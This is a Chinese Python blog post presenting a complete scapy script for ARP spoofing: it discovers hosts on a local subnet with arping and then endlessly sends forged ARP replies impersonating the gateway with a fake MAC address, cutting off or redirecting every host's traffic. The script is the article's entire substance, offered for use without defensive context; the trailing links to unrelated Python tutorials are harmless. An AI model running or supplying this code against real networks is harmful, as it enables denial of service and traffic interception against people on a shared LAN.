python使用arp欺骗伪造网关的方法

yipeiwu_com6年前Python基础

本文实例讲述了python使用arp欺骗伪造网关的方法。分享给大家供大家参考。具体实现方法如下:

#coding:utf-8
'''
arp欺骗局域网pc,将伪造的网关mac以网关的arp应答发送给pc
'''
from scapy.all import ARP,send,arping
import sys,re
stdout=sys.stdout
IPADDR="192.168.1.*"
gateway_ip='192.168.1.1'
#伪造网关mac地址
gateway_hw='00:11:22:33:44:55'
p=ARP(op = 2,hwsrc = gateway_hw,psrc = gateway_ip)
def arp_hack(ip,hw):
  #伪造来自网关的arp应答
  t=p
  t.hwdst=hw
  t.pdst=ip
  send(t)
def get_host():
  #得到在线主机的mac地址和对应ip地址 
  hw_ip = {}
  sys.stdout = open('host.info','w')
  arping(IPADDR)
  sys.stdout = stdout
  f = open('host.info','r')
  info = f.readlines()
  f.close
  del info[0]
  del info[0]
  for host in info :
    temp = re.split(r'\s+',host)
    hw_ip[temp[1]] = temp[2]
  return hw_ip
if __name__ == "__main__":
  hw_ip = get_host()
  while 1 :
    for i in hw_ip :
      arp_hack(hw=i,ip=hw_ip[i])

希望本文所述对大家的Python程序设计有所帮助。

相关文章

python pyenv多版本管理工具的使用

python pyenv多版本管理工具的使用

项目地址github pyenv does... 改变每个用户系统级别的 python 版本 为每个项目提供不同的 python 版本 安装 克隆到本地即为安装,默认目录是...

pygame游戏之旅 如何制作游戏障碍

pygame游戏之旅 如何制作游戏障碍

本文为大家分享了pygame游戏之旅的第6篇,供大家参考,具体内容如下 定义一个障碍模型函数: def things(thingx, thingy, thingw, thingh,...

Python数组条件过滤filter函数使用示例

使用filter函数,实现一个条件判断函数即可。 比如想过滤掉字符串数组中某个敏感词,示范代码如下: #filter out some unwanted tags def pass...

Python引用模块和查找模块路径

模块间相互独立相互引用是任何一种编程语言的基础能力。对于“模块”这个词在各种编程语言中或许是不同的,但我们可以简单认为一个程序文件是一个模块,文件里包含了类或者方法的定义。对于编译型的语...

python带参数打包exe及调用方式

1.举个栗子:XX.py import sys arg1 = sys.argv[1] arg2 = sys.argv[2] print(arg1) print(arg2) 平时...